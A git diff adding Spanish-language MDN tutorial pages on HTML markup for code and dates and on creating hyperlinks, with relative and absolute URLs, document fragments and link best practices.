+ <li>{{HTMLElement("code")}}: Para marcar fragmentos genéricos de código informático.</li>
+ <li>{{HTMLElement("pre")}}: Para respetar los espacios en blanco (en general, en los bloques de código) — si utilizas la sangría o diversos espacios en blanco consecutivos dentro de un texto, los navegadores los ignorarán y no se mostrarán en la página. Sin embargo, si delimitas el texto con las etiquetas <code>&lt;pre&gt;&lt;/pre&gt;</code>, los espacios en blanco se representarán de forma idéntica a como se ven en tu editor de texto.</li>
+ <li>{{HTMLElement("var")}}: Para marcar específicamente nombres de variables.</li>
+ <li>{{HTMLElement("kbd")}}: Para marcar entradas de teclado (y de otro tipo) en el ordenador.</li>
+ <li>{{HTMLElement("samp")}}: Para marcar la salida de un programa de ordenador.</li>
+</ul>
+
+<p>Veamos algunos ejemplos. Deberías intentar jugar con estos (intenta obtener una copia de nuestro archivo de ejemplo <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html">other-semantics.html</a>):</p>
+
+<pre class="brush: html notranslate">&lt;pre&gt;&lt;code&gt;var para = document.querySelector('p');
+
+para.onclick = function() {
+  alert('¡Guau!, ¡deja de apretar!');
+}&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;No debes utilizar elementos de presentación como &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt; y &lt;code&gt;&amp;lt;center&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+
+&lt;p&gt;En el ejemplo de JavaScript anterior, &lt;var&gt;para&lt;/var&gt; representa un elemento de párrafo.&lt;/p&gt;
+
+
+&lt;p&gt;Selecciona todo el texto con &lt;kbd&gt;Ctrl&lt;/kbd&gt;/&lt;kbd&gt;Cmd&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;
+
+&lt;pre&gt;$ &lt;kbd&gt;ping mozilla.org&lt;/kbd&gt;
+&lt;samp&gt;PING mozilla.org (63.245.215.20): 56 bytes de datos
+64 bytes de 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms&lt;/samp&gt;&lt;/pre&gt;</pre>
+
+<p>El código anterior se verá así:</p>
+
+<p>{{ EmbedLiveSample('Representación_del_código_informático','100%',300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Marcar_horas_y_fechas">Marcar horas y fechas</h2>
+
+<p>HTML también proporciona el elemento {{HTMLElement("time")}} para marcar horas y fechas en un formato legible por la máquina. Por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;time datetime="2016-01-20"&gt;20 Enero 2016&lt;/time&gt;
+</pre>
+
+<p>¿Por qué es útil esto? Bueno, hay muchas formas diferentes en que los humanos escriben las fechas. La fecha anterior se podría escribir como:</p>
+
+<ul>
+ <li>20 Enero 2016</li>
+ <li>20th January 2016</li>
+ <li>Ene 20 2016</li>
+ <li>20/01/16</li>
+ <li>01/20/16</li>
+ <li>El 20 del mes que viene</li>
+ <li><span lang="fr">20e Janvier 2016</span></li>
+ <li><span lang="ja">2016年1月20日</span></li>
+ <li>... y así sucesivamente ...</li>
+</ul>
+
+<p>Pero estas diferentes formas no las pueden reconocer fácilmente las computadoras — ¿qué pasaría si quisieras tomar automáticamente las fechas de todos los eventos en una página e insertarlas en un calendario? El elemento {{HTMLElement("time")}} te permite adjuntar una fecha/hora inequívoca y legible por la máquina para este propósito.</p>
+
+<p>El ejemplo básico anterior solo proporciona una fecha simple legible por la máquina, pero hay muchas otras opciones que son posibles, por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;!-- Fecha simple estándar --&gt;
+&lt;time datetime="2016-01-20"&gt;20 Enero 2016&lt;/time&gt;
+&lt;!-- Solo año y mes --&gt;
+&lt;time datetime="2016-01"&gt;Enero 2016&lt;/time&gt;
+&lt;!-- Solo mes y día --&gt;
+&lt;time datetime="01-20"&gt;20 Enero 2016&lt;/time&gt;
+&lt;!-- Solo tiempo, horas y minutos --&gt;
+&lt;time datetime="19:30"&gt;19:30&lt;/time&gt;
+&lt;!-- ¡También puedes hacer segundos y milisegundos! --&gt;
+&lt;time datetime="19:30:01.856"&gt;19:30:01.856&lt;/time&gt;
+&lt;!-- Fecha y hora --&gt;
+&lt;time datetime="2016-01-20T19:30"&gt;7.30pm, 20 Enero 2016&lt;/time&gt;
+&lt;!-- Fecha y hora con desplazamiento de zona horaria --&gt;
+&lt;time datetime="2016-01-20T19:30+01:00"&gt;7.30pm, 20 Enero 2016 es 8.30pm en Francia&lt;/time&gt;
+&lt;!-- Llamar a un número de semana específico --&gt;
+&lt;time datetime="2016-W04"&gt;La cuarta semana de 2016&lt;/time&gt;
+</pre>
+
+<h2 id="¡Pon_a_prueba_tus_habilidades!">¡Pon a prueba tus habilidades!</h2>
+
+<p>Has llegado al final de este artículo, pero ¿puedes recordar la información más importante? Puedes encontrar más pruebas para verificar que has retenido esta información antes de continuar; consulta {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Test_your_skills:_Advanced_HTML_text", "Pon a prueba tus habilidades: Texto HTML avanzado")}}.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esto marca el final de nuestro estudio de la semántica del texto HTML. Ten en cuenta que lo que has visto durante este curso no es una lista exhaustiva de elementos de texto HTML — quisimos tratar de cubrir los aspectos esenciales y algunos de los más comunes que verás en la naturaleza, o al menos podrían resultarte interesantes. Para encontrar muchos más elementos HTML, puedes echarle un vistazo a nuestra {{web.link("/es/docs/Web/HTML/Element", "referencia de elementos HTML")}} (la {{web.link("/es/docs/Web/HTML/Element#Inline_text_semantics", "La sección Semántica de texto en línea")}} sería un gran lugar para comenzar). En el próximo artículo veremos los elementos HTML que usarás para estructurar las diferentes partes de un documento HTML.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "¿Qué hay en el «head»? Metadatos en HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Crear hipervínculos")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Formateo de texto avanzado")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Estructura web y documentación")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Depurar HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Marcado para una carta")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructuración del contenido de una página")}}</li>
+</ul>
diff --git a/files/es/learn/html/introduccion_a_html/creating_hyperlinks/index.html b/files/es/learn/html/introduccion_a_html/creating_hyperlinks/index.html
new file mode 100644
index 0000000000..330bf0d7db
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/creating_hyperlinks/index.html
@@ -0,0 +1,346 @@
+---
+title: Crear hipervínculos
+slug: Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks
+tags:
+  - Aprender
+  - CodingScripting
+  - Guía
+  - HTML
+  - HTTP
+  - Novato
+  - Principiante
+  - Title
+  - URL
+  - enlace
+  - hiperenlaces
+  - hipervínculos
+  - href
+  - referencia absoluta
+  - referencia relativa
+  - título
+  - urls
+translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">Los hipervínculos (o enlaces) son elementos verdaderamente importantes — son los que hacen que la web sea <em><strong>web</strong></em>. Este artículo expone la sintaxis necesaria para crear un enlace, además contiene un catálogo de buenas prácticas para crearlos.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Estar familiarizado con HTML, cubierto en {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}. Aplicación de formato a texto en documentos HTML, según lo expuesto en la sección {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "fundamentos de texto HTML")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a implementar un <em>hipervínculo</em> de forma efectiva y enlazar múltiples archivos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_un_hipervínculo">¿Qué es un hipervínculo?</h2>
+
+<p>Los hipervínculos son una de las innovaciones más interesantes que ofrece la Web. Han formado parte de esta desde el principio, pero hacen que la web sea <em>web </em>: Los hipervínculos nos permiten vincular documentos a otros documentos o recursos, vincular a partes específicas de documentos o hacer que las aplicaciones estén disponibles en una dirección web. Prácticamente cualquier contenido web se puede convertir en un enlace que, al pulsarlo (activarlo), dirija el navegador a la dirección web a la que apunta el enlace ({{Glossary("URL")}}).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Una URL puede apuntar a archivos HTML, archivos de texto, imágenes, documentos de texto, archivos de audio o vídeo, y cualquier otra cosa que se pueda mostrar en la web. Si el navegador no sabe cómo manejar el archivo, te preguntará si lo quieres abrir (en cuyo caso la tarea de abrirlo y manejarlo se transferirá a la aplicación nativa instalada en el dispositivo) o si lo quieres descargar (en cuyo caso podrás ocuparte de él más tarde).</p>
+</div>
+
+<p>El sitio web de la BBC, por ejemplo, contiene una gran cantidad de enlaces que apuntan a multitud de noticias en diferentes zonas de el sitio (funcionalidad de navegación), zonas de acceso/registro (herramientas de usuario) y otras.</p>
+
+<p><img alt="Portada de bbc.co.uk, que muestra muchas noticias y la funcionalidad del menú de navegación" src="https://mdn.mozillademos.org/files/12405/bbc-homepage.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="Anatomía_de_un_enlace">Anatomía de un enlace</h2>
+
+<p>Un enlace básico se crea incluyendo el texto (o cualquier otro contenido, ve {{anch("Convertir bloques de contenido en enlaces")}}), que queramos convertir en un enlace usando un elemento ancla {{HTMLElement("a")}}, dándole un atributo {{HTMLAttrxRef("href", "a")}} (también conocido como «<strong><em>Hypertext Reference</em></strong>», «<strong><em>target</em></strong>» u <strong>objetivo</strong>) que contendrá la dirección web hacia dónde queremos que apunte el enlace.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Crea un enlace a
+&lt;a href="https://www.mozilla.org/es-ES/"&gt;la página de inicio de Mozilla&lt;/a&gt;.
+&lt;/p&gt;</pre>
+
+<p>Este código producirá el siguiente resultado:</p>
+
+<p>Crea un enlace a <a class="ignore-external" href="https://www.mozilla.org/es-ES/">la página de inicio de Mozilla</a>.</p>
+
+<h3 id="Añadir_información_de_asistencia_con_el_atributo_title">Añadir información de asistencia con el atributo <code>title</code></h3>
+
+<p>Otro atributo que posiblemente quieras agregar a tus enlaces es <code>title</code>. El título contiene información adicional sobre el enlace, como qué tipo de información contiene la página o cosas que debes tener en cuenta en el sitio web.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Crea un enlace a
+&lt;a href="https://www.mozilla.org/es-ES/"
+   title="El mejor lugar para encontrar más información acerca de la misión de Mozilla
+          y cómo contribuir"&gt;la página de inicio de Mozilla&lt;/a&gt;.
+&lt;/p&gt;</pre>
+
+<p>Este código producirá el siguiente resultado (el título se mostrará al pasar el ratón sobre el texto del enlace):</p>
+
+<p>Crea un enlace a <a class="ignore-external" href="https://www.mozilla.org/es-ES/" title="El mejor lugar para encontrar más información sobre la misión de Mozilla y cómo contribuir">la página de inicio de Mozilla</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El título de un enlace solo será visible al pasar el ratón por encima, lo cual significa que los usuarios que naveguen usando los controles de sus teclados, o pantallas táctiles, tendrán dificultades para acceder a la información proporcionada por el título. Si la información del título es verdaderamente importante para el uso de la página, deberemos presentar el título de manera que sea accesible a todos los usuarios, por ejemplo incluyéndola como parte del texto del enlace.</p>
+</div>
+
+<h3 id="Aprendizaje_activo_crea_tu_propio_ejemplo_de_enlace">Aprendizaje activo: crea tu propio ejemplo de enlace</h3>
+
+<p>Es momento del aprendizaje activo — crea un documento HTML con tu editor de código (nuestra <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">plantilla de aprendizaje</a> te hará la tarea más llevadera).</p>
+
+<ul>
+ <li>En el cuerpo del HTML (<code>body</code>), añade uno o más párrafos o cualquier otro tipo de contenido de los que ya conoces.</li>
+ <li>Convierte algún texto en enlaces.</li>
+ <li>Incluye atributos de título (<code>title</code>).</li>
+</ul>
+
+<h3 id="Convertir_bloques_de_contenido_en_enlaces">Convertir bloques de contenido en enlaces</h3>
+
+<p>Como hemos mencionado anteriormente, puedes convertir cualquier contenido en un enlace, incluso {{web.link("/es/docs/Learn/HTML/Getting_started#Elementos_de_bloque_y_elementos_en_línea", "Elementos de bloque y elementos en línea")}}. Si quieres convertir una imagen en un enlace, simplemente usa el elemento {{HTMLElement("a")}} encerrando el elemento {{HTMLElement("img")}} entre <code>&lt;a&gt;</code> y <code>&lt;/a&gt;</code>.</p>
+
+<pre class="brush: html notranslate">&lt;a href="https://www.mozilla.org/es-ES/"&gt;
+  &lt;img src="mozilla-image.png" alt="Logotipo de Mozilla que dirige a la página inicial de Mozilla"&gt;
+&lt;/a&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Encontrarás mucho más sobre el manejo de imágenes en próximos artículos en esta web.</p>
+</div>
+
+<h2 id="Primer_acercamiento_a_URLs_y_rutas">Primer acercamiento a URLs y rutas</h2>
+
+<p>Para comprender completamente a dónde apuntan los enlaces, necesitas conocer las URLs y las rutas. En esta sección encontrarás la información que necesitas sobre el tema.</p>
+
+<p>Una localizadora uniforme de recursos (URL, de las iniciales en inglés de «<em>Uniform Resource Locator</em>») es simplemente una secuencia de caracteres de texto que definen donde está situado algo en la web. Por ejemplo, la página de Mozilla está ubicada en <code>https://www.mozilla.org/es-ES/</code>.</p>
+
+<p>Las URLs utilizan rutas para encontrar los archivos. Las rutas especifican dónde se encuentra el archivo que buscas dentro del sistema de archivos. Veamos un ejemplo de una estructura de directorios (ve el directorio <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/creating-hyperlinks">creating-hyperlinks</a>).</p>
+
+<p><img alt="Una estructura de directorios simple. El directorio principal se llama creating-hyperlinks y contiene dos archivos llamados index.html y contacts.html, y dos directorios llamados projects y pdfs, que contiene un archivo index.html y un archivo project-brief.pdf, respectivamente" src="https://mdn.mozillademos.org/files/12409/simple-directory.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Al directorio <strong>raíz</strong> de esta estructura de directorios lo hemos llamado <code>creating-hyperlinks</code>. Al trabajar en modo local en una web, habrá un directorio que contendrá toda la información. En nuestro ejemplo, dentro de la raíz, encontramos el archivo <code>index.html</code> y el archivo <code>contacts.html</code>. En una web real, <code>index.html</code> es el punto de entrada a la web, lo que se conoce como <em>página de inicio</em>.</p>
+
+<p>Observamos también dos directorios dentro de nuestro directorio raíz que son: <code>pdfs</code> y <code>projects</code>. Cada uno de ellos tiene archivos en su interior — un archivo PDF (<code>project-brief.pdf</code>) y un archivo <code>index.html</code>, respectivamente. Observa que es posible tener sin problemas dos archivos <code>index.html</code> en un proyecto siempre y cuando se encuentren alojados en ubicaciones diferentes de nuestra estructura de archivos — muchos sitios web lo hacen. El segundo <code>index.html</code> será la página de inicio para la información relativa a los proyectos.</p>
+
+<ul>
+ <li>
+  <p><strong>En el mismo directorio</strong>: Si queremos incluir un hipervínculo dentro del archivo <code>index.html</code> (el <code>index.html</code> del nivel más alto) que apunte al archivo <code>contacts.html</code>, simplemente especificaremos el nombre del archivo al que hacemos referencia, porque se encuentra en el mismo directorio en el que se encuentra el archivo <code>index.html</code> desde donde lo queremos llamar. Por lo tanto, usamos la URL <code>contacts.html</code> — veamos el código:</p>
+
+  <pre class="brush: html notranslate">&lt;p&gt;¿Quieres contactar con un miembro específico del personal?
+Encuentra los detalles en nuestra &lt;a href="contacts.html"&gt;página de contactos&lt;/a&gt;.&lt;/p&gt;</pre>
+ </li>
+ <li>
+  <p><strong>Bajando por la estructura de subdirectorios</strong>: Si queremos incluir un hipervínculo dentro del archivo <code>index.html</code> (el <code>index.html</code> de nivel más alto) que apunta a <code>projects/index.html</code>, debemos bajar hasta el directorio <code>projects</code> antes de indicar al archivo al que queremos enlazar. Para ello especificamos el nombre del directorio y le añadimos una barra inclinada hacia adelante, y a continuación el nombre del archivo. Por lo tanto, utilizaremos la URL <code>projects/index.html</code>:</p>
+
+  <pre class="brush: html notranslate">&lt;p&gt;Visita mi &lt;a href="projects/index.html"&gt;página de inicio del proyecto&lt;/a&gt;.&lt;/p&gt;</pre>
+ </li>
+ <li>
+  <p><strong>Subiendo por nuestro sistema de directorios</strong>: Si ahora queremos incluir un hipervínculo dentro del archivo <code>projects/index.html</code> que apunte a <code>pdfs/project-brief.pdf</code>, hay que subir un nivel en nuestro sistema de directorios, para luego bajar al directorio <code>pdf</code>. Para «Subir un nivel» utilizamos los dos puntos — (<code>..</code>) — por lo que usamos la URL <code>../pdfs/project-brief.pdf</code>:</p>
+
+  <pre class="brush: html notranslate">&lt;p&gt;Un enlace a mi&lt;a href="../pdfs/project-brief.pdf"&gt;resumen del proyecto&lt;/a&gt;.&lt;/p&gt;</pre>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Podemos combinar más de una instancia de estas características y generar URLs más complejas, si es necesario, por ejemplo: <code>../../../ruta/compleja/a/mi/archivo.html</code>.</p>
+</div>
+
+<h3 id="Fragmentos_de_documento">Fragmentos de documento</h3>
+
+<p>Es posible apuntar hacia una parte concreta de un documento HTML en vez de a todo un documento. Para ello hay que asignar previamente un atributo {{HTMLAttrxRef("id")}} al elemento hacia el que apuntamos. Esto se debe hacer en el encabezado y quedará así:</p>
+
+<pre class="brush: html notranslate">&lt;h2 id="Dirección_de_envío"&gt;Dirección de envío&lt;/h2&gt;</pre>
+
+<p>Posteriormente para hacer referencia a este <code>id</code> concreto, lo añadiremos al final de la URL precedido por una almohadilla — veamos el ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;¿Quieres mandarnos una carta? Aquí tienes nuestra &lt;a href="contacts.html#Dirección_de_envío"&gt;Dirección de envío&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>También podemos usar esta referencia a un fragmento de documento para apuntar hacia otra <em>parte del mismo documento</em>:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;La &lt;a href="#Dirección_de_envío"&gt;Dirección de envío de la empresa&lt;/a&gt; se encuentra al final de esta página.&lt;/p&gt;</pre>
+
+<h3 id="URLs_absolutas_y_relativas">URLs absolutas y relativas</h3>
+
+<p>Dos términos que encontrarás en la Web son <strong>URL absoluta</strong> y <strong>URL relativa:</strong></p>
+
+<p><strong>URL absoluta</strong>: Hace referencia a una dirección definida por su ubicación absoluta en la web, esta incluye el {{Glossary("protocol", "protocolo")}} y el {{Glossary("domain name", "nombre del dominio")}}. Por ejemplo, si subes una página de inicio <code>index.html</code> a un directorio llamado <code>projects</code> que se encuentra dentro de la raíz de un servidor web, y el dominio del sitio web es <code>http://www.example.com</code>, se podrá acceder a la página desde <code>http://www.example.com/projects/index.html</code> (o simplemente <code>http://www.example.com/projects/</code>, ya que la mayoría de los servidores web buscan la página de inicio <code>index.html</code> para cargarla por omisión si no se les especifica otra en la URL).</p>
+
+<p>Una URL absoluta siempre apuntará a la misma dirección, sin importar desde dónde se utilice.</p>
+
+<p>Una <strong>URL relativa</strong>: Hace referencia a una dirección que depende de la posición del archivo desde donde se utiliza — son las que vimos en la sección anterior. Por ejemplo, si desde un archivo ubicado en <code>http://www.example.com/projects/index.html</code> queremos enlazar hacia un archivo PDF ubicado en el mismo directorio, la URL sería simplemente el nombre del archivo (por ejemplo: <code>project-brief.pdf</code>) no necesitamos más información. Si el archivo PDF está situado en un subdirectorio dentro de <code>projects</code> llamado <code>pdfs</code>, la URL relativa es: <code>pdfs/project-brief.pdf</code> (la URL absoluta equivalente sería: <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>).</p>
+
+<p>Una URL relativa hará referencia a diferentes direcciones según dónde se encuentre el archivo desde el cual se utiliza — por ejemplo, si movemos nuestro archivo <code>index.html</code> del directorio <code>projects</code> a la raíz del sitio web (el nivel más alto, no cualquiera de los otros directorios), la URL relativa <code>pdfs/project-brief.pdf</code> ahora hará referencia a <code>http://www.example.com/pdfs/project-brief.pdf</code>, en lugar de a <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>.</p>
+
+<p>Por supuesto, la ubicación del archivo <code>pdfs/project-brief.pdf</code> y del directorio <code>pdfs</code> no cambian de repente cuando mueves el archivo <code>index.html</code>; esto hará que tus enlaces apunten a un sitio equivocado y no funcionarán correctamente al hacer clic en ellos. ¡Por lo tanto debes tener cuidado!</p>
+
+<h2 id="Buenas_prácticas_en_el_uso_de_los_enlaces">Buenas prácticas en el uso de los enlaces</h2>
+
+<p>Hay algunas buenas prácticas que debemos respetar cuando escribimos enlaces. Veamos cuáles son.</p>
+
+<ul>
+</ul>
+
+<h3 id="Redacción_clara_del_enlace">Redacción clara del enlace</h3>
+
+<p>Es fácil rellenar de enlaces una página, sin más. Pero esto no basta. Hay que lograr que nuestros enlaces sean <em>accesibles</em> para todo tipo de lectores, sin importar el contexto o las herramientas que prefieran. Por ejemplo:</p>
+
+<ul>
+ <li>Los usuarios de lectores de pantalla suelen saltar de enlace a enlace en la página y los leen todos sin contexto.</li>
+ <li>Los motores de búsqueda utilizan el texto de los enlaces para indizar los archivos buscados, por lo que es una buena idea incluir palabras clave al definir el texto de los enlaces para describir de forma efectiva el sitio al que apuntan.</li>
+ <li>Los usuarios visuales suelen echar un vistazo rápido a la página y leen solo lo que les interesa, en lugar de leer todo el texto palabra por palabra, y sus miradas van directamente a las características destacadas de la página, como son los enlaces. Este tipo de usuarios encuentra útiles los textos descriptivos que estos contienen.</li>
+</ul>
+
+<p>Veamos un ejemplo concreto:</p>
+
+<p><em><strong>Buen</strong> texto en un enlace</em>: <a href="https://firefox.com">Descargar Firefox</a></p>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;a href="https://firefox.com/"&gt;
+  Descargar Firefox
+&lt;/a&gt;&lt;/p&gt;</pre>
+
+<p><em><strong>Mal</strong> texto en un enlace</em>: <a href="https://firefox.com/">Pulsar aquí</a> para descargar Firefox</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;a href="https://firefox.com/"&gt;
+  Haz clic aquí
+&lt;/a&gt;
+para descargar Firefox&lt;/p&gt;
+</pre>
+
+<p>Otras indicaciones:</p>
+
+<ul>
+ <li>No repetir la URL como parte del texto — Las URLs suenan horrible, y todavía suenan peor si las lee un lector de pantalla, letra por letra.</li>
+ <li>No escribir «<em>link</em>» o «<em>link a</em>» o «enlace» o «enlace a» en el texto del enlace porque es redundante. Los lectores automáticos indican que hay un enlace al encontrarlo. Los usuarios también saben que hay un enlace, porque normalmente se suele cambiar el color del texto y se subraya (no hay que romper esta convención, porque los usuarios están acostumbrados a ella).</li>
+ <li>Redacta la etiqueta del enlace de la manera más breve y concisa posible — los textos de enlace largos son especialmente molestos para los usuarios que utilizan lectores automáticos, porque tienen que escuchar todo el texto del enlace.</li>
+ <li>Minimiza los casos en los que varias copias del mismo texto están vinculadas a diferentes lugares. Esto puede causar problemas a los usuarios de lectores de pantalla, si hay una lista de enlaces fuera de contexto que están etiquetados como "haz clic aquí", "haz clic aquí", "haz clic aquí".</li>
+</ul>
+
+<h3 id="Utiliza_enlaces_relativos_siempre_que_sea_posible">Utiliza enlaces relativos siempre que sea posible</h3>
+
+<p>A partir de las indicaciones anteriores podemos llegar a pensar que es mejor utilizar referencias absolutas en todos los casos; después de todo, estas no se rompen cuando la página se traslada como ocurre con las referencias relativas. Sin embargo, debes utilizar enlaces relativos siempre que sea posible cuando enlaces a otras ubicaciones dentro del <em>mismo sitio web</em>. Cuando vinculas a otro sitio web, deberás utilizar un vínculo absoluto.</p>
+
+<ul>
+ <li>Primero, porque el código es mucho más fácil de leer — las URLs relativas suelen ser mucho más cortas que las absolutas, lo que hace que el código sea mucho más fácil de leer.</li>
+ <li>Segundo, resulta más eficiente utilizar URLs relativas cuando sea posible. Cuando usas una URL absoluta, el navegador comienza buscando la ubicación real del servidor en el Sistema de nombres de dominio ({{Glossary("DNS")}}), consulta {{web.link("/es/docs/Learn/Getting_started_with_the_web/How_the_Web_works", "Cómo funciona la web")}} para obtener más información). Entonces va a ese servidor y busca el archivo solicitado. En cambio, con una URL relativa, el navegador simplemente busca el archivo solicitado en el mismo servidor. Si usas URLs absolutas donde las URLs relativas lo harían, constantemente estás haciendo que tu navegador haga un trabajo adicional, lo cual significa que funcionará de manera menos eficiente.</li>
+</ul>
+
+<h3 id="Indica_claramente_los_recursos_no_HTML">Indica claramente los recursos no HTML</h3>
+
+<p>Cuando damos referencias a recursos para descargarlos (como documentos en formato PDF o Word) o para reproducirlos (como archivos de audio o vídeo) o que tengan un efecto inesperado (una ventana emergente) hay que indicarlo para no confundir al usuario.</p>
+
+<p>Por ejemplo:</p>
+
+<ul>
+ <li>Si tienes una conexión con poco ancho de banda, pulsas un enlace y comienza a descargar un archivo pesado de forma inesperada.</li>
+ <li>Si no tienes instalado el reproductor Flash, pulsas un enlace y te conduce a una página que requiere Flash.</li>
+</ul>
+
+<p>Veamos algunos ejemplos, para ver qué texto puede ser aconsejable en estos casos:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;a href="http://www.example.com/large-report.pdf"&gt;
+  Descarga el informe de ventas (PDF, 10MB)
+&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://www.example.com/video-stream/"&gt;
+  Reproduce el vídeo (el flujo de datos se abre en una pestaña independiente, calidad HD)
+&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://www.example.com/car-game"&gt;
+  Juega al juego del automóvil (requiere Flash)
+&lt;/a&gt;&lt;/p&gt;</pre>
+
+<h3 id="Utiliza_el_atributo_download_al_enlazar_una_descarga">Utiliza el atributo <code>download</code> al enlazar una descarga</h3>
+
+<p>Si queremos hacer referencia a una descarga en lugar de a algo que abra el navegador, disponemos del atributo <code>download</code> para proporcionar un nombre predeterminado al archivo a guardar. Veamos un ejemplo con un enlace a la descarga de la versión para Windows de Firefox:</p>
+
+<pre class="brush: html notranslate">&lt;a href="https://download.mozilla.org/?product=firefox-latest-ssl&amp;os=win64&amp;lang=es-MX"
+   download="firefox-latest-64bit-installer.exe"&gt;
+  Descarga la última versión de Firefox para Windows (64 bits) (Español, es-MX)
+&lt;/a&gt;</pre>
+
+<h2 id="Aprendizaje_activo_crear_un_menú_de_navegación">Aprendizaje activo: crear un menú de navegación</h2>
+
+<p>Para este ejercicio, deberás crear lo que se conoce como <em>web multipágina</em>: un menú de navegación con enlaces a distintas páginas. Esta es una manera común de crear páginas web — usamos la misma estructura en todas las páginas, incluida la que contiene el menú de navegación. Cuando los usuarios pulsen los enlaces tendrán la sensación de que están en la misma página y que solo cambia el contenido mostrado.</p>
+
+<p>Tendrás que hacer copias locales, en el mismo directorio, de las cuatro siguientes páginas (revisa el directorio <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a> para el listado completo):</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/index.html">index.html</a></li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/projects.html">projects.html</a></li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/pictures.html">pictures.html</a></li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/social.html">social.html</a></li>
+</ul>
+
+<p>A continuación:</p>
+
+<ol>
+ <li>Añade una lista no ordenada en el lugar adecuado de la página, que contenga los nombres de las páginas a las que enlazas. Un menú de navegación normalmente es una lista de enlaces (<em>links</em>), por lo que esto es semánticamente correcto.</li>
+ <li>Convierte cada nombre en un enlace a esa página.</li>
+ <li>Copia el menú de navegación en cada una de las páginas.</li>
+ <li>En cada página, elimina solo el enlace que hace referencia a sí mismo (es confuso y no tiene sentido que una página se llame a sí misma, y la falta del enlace actúa como recordatorio de la página en la que se está en cada momento).</li>
+</ol>
+
+<p>El ejercicio terminado debería crear una página como la siguiente:</p>
+
+<p><img alt="Un ejemplo de un menú de navegación HTML simple, con inicio, imágenes, proyectos y elementos del menú social" src="https://mdn.mozillademos.org/files/12411/navigation-example.png" style="display: block; margin: 0 auto;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si ahora encallas, o no estás seguro de haberlo conseguido, revisa el directorio <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a> para ver la respuesta correcta.</p>
+</div>
+
+<h2 id="Enlace_a_correo_electrónico">Enlace a correo electrónico</h2>
+
